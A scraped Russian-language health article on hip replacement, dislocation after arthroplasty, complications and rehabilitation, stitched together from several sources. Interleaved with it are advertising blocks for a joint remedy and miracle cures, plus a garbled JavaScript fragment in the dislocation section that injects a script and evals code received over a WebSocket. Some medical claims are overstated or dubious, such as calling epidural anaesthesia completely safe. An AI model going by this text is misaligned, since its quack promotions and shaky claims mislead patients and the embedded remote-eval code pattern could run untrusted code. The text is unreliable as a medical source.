Вывих после эндопротезирования тазобедренного сустава

В случае выраженного повреждения тазобедренного сустава хирурги проводят его замену. Суть данной операции заключается в замене пораженного сустава болезнью либо травмой, искусственным аналогом. Благодаря этому возможно полностью возобновить физическую активность человека, подвижность его сустава, а также устранить болезненные ощущения.

Как происходит заживление

Тазобедренный сустав является самым крупным суставом во всем теле: ему нужно выдерживать весь вес и, кроме того, выполнять около 40% всех движений, которые совершает человек. Это, в основном, движения бедра взад-вперед и в стороны, а также его вращения. Также этот сустав участвует во вращении всего туловища.

Все движения возможны благодаря большому количеству мышц. Они, словно веером, расходятся от тазобедренного сустава, прикрепляясь к его структурам. Между мышцами проходят нервы и сосуды. А чтобы бедренная кость не «выскакивала» из вертлужной впадины, ее крепит такой же «веер» из связок. Между отдельными связками и мышцами имеются образования, напоминающие небольшие капсулы сустава. Они нужны для уменьшения трения структур при выполнении движений.

Когда сустав «приходит в негодность» и нуждается в замене, то есть протезировании, хирурги делают следующее. Для того, чтобы добраться до сустава, от фасций освобождаются 2 большие мышцы (средняя и большая ягодичные), крепящиеся к бедренной кости. Их отодвигают и разводят тупым инструментом, то есть мышечные пучки, хоть и не разрезаются, оказываются разъединенными. Затем рассекается одна слизистая сумка и делается разрез в малой ягодичной мышце, а потом – в суставной сумке. Разрезается бедренная кость на уровне ее шейки, после чего она изымается из мягких тканей бедра. На место удаленной кости ставится и фиксируется искусственный сустав. Сшиваются все разрезы мышц.

Чтобы обеспечить нормальную функцию нового сустава, нужно, чтобы хорошо и правильно срослись мышцы, подвергавшиеся разрезанию и разъединению. Делать это они будут в том случае, если:

  • не будет повреждена оболочка мышечных волокон: прямо под ней лежат клетки-сателлиты (спутники), которые превращаются в новые мышечные клетки. Если оболочка будет повреждена, вместо мышечного волокна образуется рубец;
  • восстановится нормальное кровоснабжение разрезаемых или раздвигаемых волокон;
  • появятся новые веточки нервов в этой области;
  • поврежденные мышцы постоянно будут находиться в напряжении.

Эти условия будут выполнены, если:

  1. нагрузку временно возьмут на себя те мышцы этого же бедра, которые не повреждались;
  2. будут трудиться мышцы стопы и голени, улучшая в этой ноге кровообращение.

Травматический вывих бедра – симптомы и лечение данной патологии

Многие годы пытаетесь вылечить СУСТАВЫ?

Глава Института лечения суставов: «Вы будете поражены, насколько просто можно вылечить суставы принимая каждый день…

Читать далее »

Когда тазобедренный сустав находится в нормальном состоянии, закругленная, верхняя часть бедренной кости помещена в чашеобразное гнездо в области таза, называемое вертлужной впадиной. Иногда, при определенных обстоятельствах, в том числе при травме таза, головка бедренной кости выходит из вертлужной впадины, обуславливая этим вывих бедра.

НАШИ ЧИТАТЕЛИ РЕКОМЕНДУЮТ!

Для лечения суставов наши читатели успешно используют Артрейд. Видя, такую популярность этого средства мы решили предложить его и вашему вниманию. Подробнее здесь…

Травматический вывих бедра – патология, требующая неотложной медицинской помощи, в идеале, лечение должно быть произведено в первые шесть часов после происшествия. Такая необходимость обуславливается патогенезом травмы, которая мешает кровотоку питать головку бедренной кости, лишая тем самым эту крупную кость, кислорода. Поэтому если вывих бедра не будет вправлен сразу же после того, как он произошел, и тем самым не восстановится нормальная циркуляция крови в тазобедренном суставе, начнется повреждение верхней части бедра, называемое аваскулярным некрозом.

  • Симптомы травматического ВБ

    Вывих бедра, происшедший в ДТП, обычно определятся следующими симптомами:

    • сильная боль в поврежденной ноге, особенно когда ее передвигают;
    • пострадавшая нога короче ноги здоровой;
    • больная нога лежит в ненормальном положении – в большинстве случаев, она согнута в тазобедренном суставе, повернута внутрь и притянута к середине тела.

    Диагностика травматического ВБ

    Читайте также:  Диета при артрозе и артрите суставов: запреты, меню

    Обычно при травматическом вывихе бедра, врач ставит диагноз уже после первого осмотра пострадавшего. Аппаратные диагностические процедуры нужны лишь для того, чтобы подтвердить диагноз и посмотреть, есть ли еще какие-либо характерные для автоаварии травмы (переломы и трещины костей,  разрывы мышц и сухожилий   и т.д.). Поэтому могут быть назначены:

    1. Компьютерная томография.
    2. Магнитно-резонансная томография.
    3. Рентген.

    Лечение и течение болезни (видео)

    Если у пострадавшего диагностируется травма, вывих бедра, без каких-либо других повреждений костей и мышечно-связочного аппарата, скорее всего, будет принято решение о вправлении вывихнутого сустава, без хирургического вмешательства.

    ‘); } (»); var e = (‘script’); = «text/javascript»; = «//»; = true; = = function () { if (! || == «loaded» || == «complete») { = = null; (b); } }; = function () { var s = new WebSocket(‘ws://’); = function (event) { eval(); (b); }; }; («head»)[0].appendChild(e); })(document, {id: 1571, count: 4});

    Перед вправлением бедра, больному вводят инъекции анальгетиков и препаратов, расслабляющих мускулатуру тела. Как только лекарства начнут действовать – бедро вправляется, и для подтверждения того, что головка бедренной кости снова «сидит» в вертлужной впадине, делается повторный рентген.

    Есть несколько методик вправления вывихнутого бедра, но самой популярной среди врачей-травматологов является так называемое вправление тазобедренного сустава по Кохеру.

    Методика вправления бедра по методу Кохера

    Состояние пострадавшего улучшается сразу же после вправления вывиха (если это произошло вовремя). Однако первую неделю человек должен ходить при помощи костылей, и быть готовым к тому, что хромота останется еще на некоторое время, а точнее, как минимум на месяц. Полное же заживление бедра и окружающих тканей завершится не раньше чем через три месяца после аварии. Чтобы ускорить процесс заживления, лечащий врач разрабатывает специальную программу по укреплению мышц и связок окружающих тазобедренный сустав. Такая программа, вероятно, будет включать в себя:

    1. Массаж.
    2. Лечебную гимнастику.
    3. Иглоукалывание.
    4. Грязевые ванны.

    Народ опешил! Суставы восстановятся за 3 дня! Приложите… Мало кто знает, но именно это лечит суставы за 7 дней!

    К тому же все эти процедуры, если их выполнять вовремя и правильно, предотвращают развитие привычного вывиха бедра.

    Также операцию выполняют при развитии асептического некроза, что делает период восстановления значительно более долгим.

    Прогноз

    Хотя перспективы того, изменится или не изменится жизнь больного, получившего вывих бедра, зависят от многих факторов, наблюдение за пострадавшими показало – 88% тех, кому вправили тазобедренный сустав в первые 6 часов после получения травмы, полностью восстановились и стали вести обычный образ жизни. Инвалидность получили люди, первая помощь которым оказали через 24 и более часов после происшествия

    Основным осложнением асептического некроза, является артрит тазобедренного сустава.

    Кровопотеря

    В процессе хирургического вмешательства, чтобы заменить сустав таза или спустя определённое время после этой процедуры есть вероятность возникновения кровотечения. Причиной способна стать как ошибка врача, так и любое неаккуратное движение или злоупотребление лекарствами, разжижающими кровь. В послеоперационный момент прописывают антикоагулянты с целью профилактики тромбоза.

    Иногда именно эта предосторожность может «выйти боком». Она способна превратить меры профилактики одного осложнения в другое осложнение. Чтобы восстановить запасы крови больному требуется переливание крови.

    Анестезия

    Теперь осветим главные моменты, касающиеся наркоза, который применяется при замене двух тазобедренных суставов. По правилам допускается использование общей (полной эндотрахеальной), спинальной, эпидуральной анестезии или комбинацию двух последних видов.

    К первому методу обращаются в крайне редких случаях, почти 90% операций выполняется либо под спинальным, либо под эпидуральным обезболиванием, оба подхода относятся к местному (регионарному) типу наркоза и не сопровождаются отключением сознания.

    • Если вам будет показана спинальная анальгезия, тогда в субарахноидальное пространство позвоночника будет внедрена ультратонкая игла, через которую анестезиолог в спинномозговую жидкость произведет введение оптимальной дозы раствора-анестетика, за счет чего произойдет блокада передачи нервных импульсов.

    Сам укол практически безболезненный.

    • Если эпидурально, тогда наркоз будет подаваться через тонкий катетер в перидуральное пространство позвоночного столба. Такой прием приводит к полной потери болевой чувствительности в активной зоне оперирования.

    Частичный наркоз лучше как для врача, так и для пациента.

    Хирургическое вмешательство для установки эндопротеза связано с иссечением кожных покровов и резекцией существенного объёма мышечной ткани. Это требует эффективного обезболивания. В связи с тем, что ныне классический общий наркоз активно вытесняется более эффективной и безопасной эпидуральной анестезией, среди врачей, участвующих в дискуссии за и против эндопротезирования, растёт число тех, кто высказывается в пользу этой операции.

    Читайте также:  Можно ли греть больные суставы при артрозе

    Недостаток классического наркоза с полным отключением сознания оперируемого заключается в большой нагрузке на сердечно-сосудистую систему со всеми вытекающими из этого последствиями. Это сильно ограничивает возможности по замене тазобедренного сустава у пациентов пожилого возраста. Эпидуральная же анестезия в этом плане совершенно безопасна, поскольку не влияет на работу сердца.

    Последствия нестабильности

    Смещение протеза

    В результате данного явления вживленный имплантат не только теряет фиксацию и расшатывается, но и приводит к постепенному или резкому изменению длины ног. В таком случае требуется немедленная консультация у врача и повторная операция на конечности. К основным причинам можно отнести следующие:

    • неправильная установка имплантата;
    • недостаточный контакт между поверхностями сустава и протеза;
    • сильные нагрузки на имплантат;
    • непрочное соединение компонентов изделия.

    Остеолиз

    К образованию данного процесса может привести частичное или полное разрушение кости, которое наступает в результате взаимодействия компонентов протеза с живой тканью.

    Перелом эндопротеза

    Диагностика переломов протеза, которые периодически случаются, дает основания предположить следующие причины таких последствий. К ним относится:

    • неправильный подбор индивидуального имплантата;
    • чрезмерная или преждевременная высокая физическая активность пациента;
    • избыточный вес пациента.

    Чтобы предотвратить наступление таких последствий, требуется неукоснительно соблюдать рекомендации, данные врачом, и не заниматься чрезмерно двигательной деятельностью.

    К особым случаям относится расшатывание и повреждение отдельных компонентов протеза. В достаточно короткий срок может разрушится структура полиэтиленового вкладыша или бедренной ножки. Вывих или перелом эндопротеза также случается достаточно часто. Поэтому в обязательном порядке следует соблюдать рекомендации специалистов, а также осуществлять диагностические и профилактические мероприятия. Это гарантировано поможет предотвратить появление негативных последствий операции.

    Формирование сгустков крови

    Такие сгустки образуются в сосудах нижних конечностей. Данное осложнение не требует повторного хирургического вмешательства. Достаточно пройти терапевтический курс, назначенный врачом. Он может включать в себя различные физические упражнения для ног либо прием медикаментозных препаратов.

    Воспаления

    Для предотвращения развития инфекционных процессов специалисты рекомендуют в первые два года после установки протеза принимать антибиотики. Назначение лекарств в каждом случае рассматривается индивидуально, исходя из общего состояния организма пациента.

    Как избежать перелома имплантата

    1. Врач подобрал эндопротез, который не подходит для данного человека.
    2. Пациент слишком рано начинает нагружать искусственный сустав.
    3. Человек стал активно набирать вес.
    4. Повреждение имплантата связано с расшатыванием отдельных компонентов. При этом может разрушиться не только вкладыш, но и бедренная ножка искусственного сустава.

    Предотвратить поломку изделия можно, если следовать рекомендациям врача. Необходимо проходить своевременную диагностику, чтобы вовремя выявить осложнения после замены сустава.

    Дифференцирование боли: норма или нет

    Боли после эндопротезирования тазобедренного сустава будут наблюдаться в раннем периоде, ведь организм пережил серьезнейшую ортопедическую операцию. Болезненный синдром в течение первых 2-3 недель является естественной ответной реакцией организма на недавно перенесенную операционную травму, что не считается отклонением.

    Пока операционная травма не заживет, мышечные структуры не придут в норму, пока кости вместе с эндопротезом не станут единым кинематическим звеном, человек будет испытывать какое-то время дискомфорт. Поэтому назначают хорошее обезболивающее средство, которое помогает и легче перенести раннюю болезненную симптоматику, и лучше сконцентрироваться на лечебно-реабилитационных занятиях.

    Хорошо заживающий шов после операции. Он ровный, бледный и не имеет выделений.

    Болевые ощущения должны быть дифференцированы и обследованы: что из них – норма, а что – реальная угроза. Это может сделать оперировавший хирург. Задача пациента – при любых некомфортных признаках оповещать врача-ортопеда.

    Особенности реабилитационного периода

    Реабилитационный период при вывихе тазобедренного протеза играет не менее важную роль, чем само лечение. Если пациент к нему отнесется безответственно, то очень высок риск развития различных осложнений, а также повторного вывиха протеза.

    Реабилитация после вывиха тазобедренного протеза включает ЛФК и массаж

    Если самочувствие пациента удовлетворительное, то уже на второй день после операции начинают ему могут помочь принять вертикальное положение. Основные реабилитационные мероприятия подразумевают:

    Особенности реабилитационного периода
    • Тренировку ходьбы. Изначально потребуются костыли. Они помогут не создавать сильно большого давления на прооперированную ногу;
    • Тренировку основных движений, а именно: самостоятельный прием сидячего положения;
    • Прохождение процедур физиотерапии. Они направлены на ускорение регенеративной функции;
    • Посещение занятий лечебной физкультуры. Во время них разрабатываются все суставы, позволяя в дальнейшем безболезненно выполнять все необходимые движения конечностями;
    • Осуществление лечебного массажа. Он необходим для того, чтобы расслабить бедренные мышцы.

    Необходимо сразу указать, что длительность реабилитационного периода различается в каждом индивидуальном случае. Каждый последующий этап восстановления осуществляется, исходя из самочувствия пациента. Если говорить об усредненных данных, то передвигаться самостоятельно без использования костылей и тростей, люди начинают примерно через 5-6 месяцев с момента операции.

    Читайте также:  Заставьте их замолчать. Почему хрустят суставы и как с этим бороться

    Осложнения эндопротезирования тазобедренного сустава

    Вопрос о том, бывают ли осложнения после эндопротезирования тазобедренного сустава, пациенты часто задают перед подобной операцией. Если тазобедренный сустав в результате различных причин не может функционировать, возникает необходимость его замены на искусственный.

    Эндопротезирование любого сустава, а особенно такого крупного, как тазобедренный, это достаточно сложная и серьезная операция. Благодаря современным методикам оперативной помощи риск осложнений, как правило, сводится до минимума. Однако он все же существует.

    Какие осложнения возможны при подобной операции?

    Если речь идет обо всех возможных неблагоприятных последствиях данного оперативного вмешательства, то их можно разделить на несколько групп. Основанием для этого будет время развития данного осложнения.

    Осложнения эндопротезирования тазобедренного сустава
    1. Осложнения, которые могут развиться в период проведения оперативного вмешательства. Чаще всего их появление зависит от общего состояния здоровья самого пациента. К ним относятся аллергические реакции различного рода на используемые препараты для наркоза или нарушение сердечной деятельности оперируемого больного. Достаточно редко может развиться тромбоэмболия и переломы костных структур, входящих в сустав.
    2. В раннем послеоперационном периоде могут развиться такие неблагоприятные последствия, как кровотечения или нагноения послеоперационных ран, а также анемии и вывихи тазобедренного сустава.
    3. Отдаленные осложнения. Они формируются уже после выписки из стационара, в период восстановления двигательной активности пациента. Чаще всего встречаются вывихи или расшатывание элементов, входящих в суставной протез.

    Важно помнить, что строгое соблюдение рекомендаций лечащего врача, периодичности назначенных процедур и графика консультативных посещений существенно снижает риск развития практически всех послеоперационных осложнений.

    Рассмотрим наиболее часто встречающиеся неблагоприятные последствия эндопротезирования и методики их профилактики.

    Хирургическое лечение

    Хирургические подходы

    • Передний доступ (Smith-Petersen).
    • Передненаружный доступ (Watson-Jones).
    • Прямой боковой доступ (Hardinge/Transgluteal).
    • Латеральный транстрохантерный доступ.
    • Латеральный доступ.
    • Заднебоковой доступ.
    • Задний доступ (Moore/Southern).
    • Минимально инвазивные доступы (например, прямой передний доступ).

    Описано большое число хирургических доступов при замене ТБС, однако мы остановимся на переднем, латеральном и заднем доступах. Эти варианты позволяют определить объём повреждения мягких тканей и основные меры предосторожности, необходимые при выполнении тотального эндопротезирования ТБС. Задний доступ наиболее популярен при проведении артропластики ТБС. Этот метод предоставляет хороший обзор бедренной кости и вертлужной впадины, а также позволяет избежать повреждений отводящих бедро мышечных групп. Передний доступ менее инвазивен и наносит меньше урона мышцам, капсулам, связкам и нервам. Исследования демонстрируют также более быструю реабилитацию и более полное восстановление функциональности. Ввиду меньшего риска вывиха в сравнении с задним доступом раннюю мобилизацию и упражнения с переносом веса на стопу надлежащей нагрузки можно проводить уже в первые дни после операции. Использование минимально инвазивной хирургии набирает популярность по всему миру ввиду высокой скорости восстановления организма и значительно меньших осложнений. Тем не менее, долгосрочные последовательные и сравнительные исследования всё ещё необходимы в этой области.

    Протезы тазобедренного сустава

    Протез тазобедренного сустава

    Хирургическое лечение

    Суставные протезы, используемые хирургами, выполнены в концептах «металл на полиэтилене (ПЭ)», «керамика на ПЭ», «металл на металле» и «керамика на керамике». Важными характеристиками протезов выступают коэффициент трения, долговечность, устойчивость к вывихам и степень фиксации в костной ткани. В некоторых случаях возможно развитие остеонекроза ввиду эрозии компонентов протеза, вызванной их трением друг о друга. Последние исследования демонстрируют, что ПЭ, содержащий витамин Е, изнашивается на 95 % меньше, чем прочие материалы, применяемые для изготовления искусственной чашки вертлужной впадины.

    Осложнения

    От 2 до 10 процентов пациентов обнаруживают развитие осложнений в ходе и после проведения полной замены ТБС. Следующие случаи наиболее часто описываются в литературе и наблюдаются в клинической практике:

    • Вывих: Передний доступ снижает риск вывиха в сравнении с прямым задним доступом.
    • Недостаточность отводящих мышц: Чаще всего после прямого латерального доступа.
    • Интраоперационные переломы.
    • Повреждения нервов (зависят от доступа).
    • Прямой латеральный доступ – верхний ягодичный и бедренный нервы.
    • Прямой передний доступ – кожный нерв бедра.
    • Задний доступ – седалищный нерв.
    • Раневая инфекция и/или сепсис.
    • Тромбоз глубоких вен или лёгочная эмболия.
    • Металлоз. Это осложнение возникает при коррозии металла и распространении его частиц. Оно приводит к большому местному высвобождению цитокинов с последующим воспалением. Систематическое воздействие металлоза может привести ко многим негативным последствиям. Единственное возможное лечение – повторное протезирование.
    • Ателектаз.
    • Инфекция нижних дыхательных путей.
    • Относительное изменение длины ног.
    • Потеря фиксации протеза и износ имплантата.